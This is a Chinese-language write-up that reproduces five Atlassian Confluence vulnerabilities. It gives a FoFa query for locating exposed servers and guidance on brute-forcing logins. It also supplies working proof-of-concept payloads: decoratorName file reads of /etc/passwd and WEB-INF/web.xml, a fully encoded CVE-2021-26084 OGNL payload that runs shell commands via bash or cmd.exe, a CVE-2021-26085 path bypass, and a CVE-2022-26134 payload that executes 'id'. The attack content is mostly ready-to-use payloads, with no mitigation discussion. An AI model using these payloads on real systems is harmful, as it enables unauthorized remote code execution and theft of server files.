Atlassian Confluence是一个专业的企业知识管理与协同软件,也可以用于构建企业wiki。。该软件可实现团队成员之间的协作和知识共享。
一共复现5个漏洞:暴力破解、CVE-2015-8399任意文件读取、CVE-2021-26084远程代码执行、CVE-2021-26085受限的文件读取、CVE-2022-26134 OGNL注入命令执行。
FoFa语法:app="ATLASSIAN-Confluence"
Web界面如下,抓取登录数据包可进行用户名和密码进行穷举,状态码为302的暴破成功的。
Atlassian Confluence 5.8.17之前版本中存在安全,该漏洞源于spaces/viewdefaultdecorator.action和admin/viewdefaultdecorator.action两个文件没有充分过滤decoratorName参数。远程攻击者可利用该漏洞读取配置文件。
利用该漏洞需要登录系统
POC:http://www.xxx.com/spaces/viewdefaultdecorator.action?decoratorName=file:///etc/passwd
decoratorName=/WEB-INF/web.xml 读取配置文件。
decoratorName=/或.,可查看目录文件
decoratorName=文件名,可直接读取文件内容
CVE-2021-26084即是Atlassian Confluence OGNL表达式注入代码执行漏洞,版本小于7.13.0,有多个接口存在这个OGNL表达式注入漏洞,重点关注以下三个路径。
在无需登录的情况下,访问/pages/doenterpagevariables.action或/pages/createpage-entervariables.action,如果存在,说明存在该漏洞。在登录状态下(需要是管理员或有权限访问/admin/console.action),访问/pages/createpage.action,也可进行漏洞利用。
http://www.xxx.com/pages/doenterpagevariables.action
http://www.xxx.com /pages/createpage-entervariables.action
使用如下数据包进行再次验证漏洞
POST /pages/doenterpagevariables.action HTTP/1.1 queryString=%5cu0027%2b%7b2*233%7d%2b%5cu0027
使用如下数据包进行执行命令
queryString=%5cu0027%2b%7bClass.forName%28%5cu0027javax.script.ScriptEngineManager%5cu0027%29.newInstance%28%29.getEngineByName%28%5cu0027JavaScript%5cu0027%29.%5cu0065val%28%5cu0027var+isWin+%3d+java.lang.System.getProperty%28%5cu0022os.name%5cu0022%29.toLowerCase%28%29.contains%28%5cu0022win%5cu0022%29%3b+var+cmd+%3d+new+java.lang.String%28%5cu0022ifconfig%5cu0022%29%3bvar+p+%3d+new+java.lang.ProcessBuilder%28%29%3b+if%28isWin%29%7bp.command%28%5cu0022cmd.exe%5cu0022%2c+%5cu0022%2fc%5cu0022%2c+cmd%29%3b+%7d+else%7bp.command%28%5cu0022bash%5cu0022%2c+%5cu0022-c%5cu0022%2c+cmd%29%3b+%7dp.redirectErrorStream%28true%29%3b+var+process%3d+p.start%28%29%3b+var+inputStreamReader+%3d+new+java.io.InputStreamReader%28process.getInputStream%28%29%29%3b+var+bufferedReader+%3d+new+java.io.BufferedReader%28inputStreamReader%29%3b+var+line+%3d+%5cu0022%5cu0022%3b+var+output+%3d+%5cu0022%5cu0022%3b+while%28%28line+%3d+bufferedReader.readLine%28%29%29+%21%3d+null%29%7boutput+%3d+output+%2b+line+%2b+java.lang.Character.toString%2810%29%3b+%7d%5cu0027%29%7d%2b%5cu0027
可直接利用脚本进行执行命令
/s/路径是Atlassian产品通用的访问静态资源的方式,Confluence有一个正则用于避免WEB-INF和META-INF目录下文件被读取,CVE-2021-26085可以通过url编码绕过这个正则,实现WEB-INF和META-INF目录下的文件读取。
POC:/s/随机字符/_/;/WEB-INF/web.xml
http://www.xxx.com/s/666/_/;/WEB-INF/web.xml
Confluence OGNL 注入漏洞,查看返回数据包X-Cmd-Response字段内容
漏洞POC
/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/
可直接利用脚本进行执行命令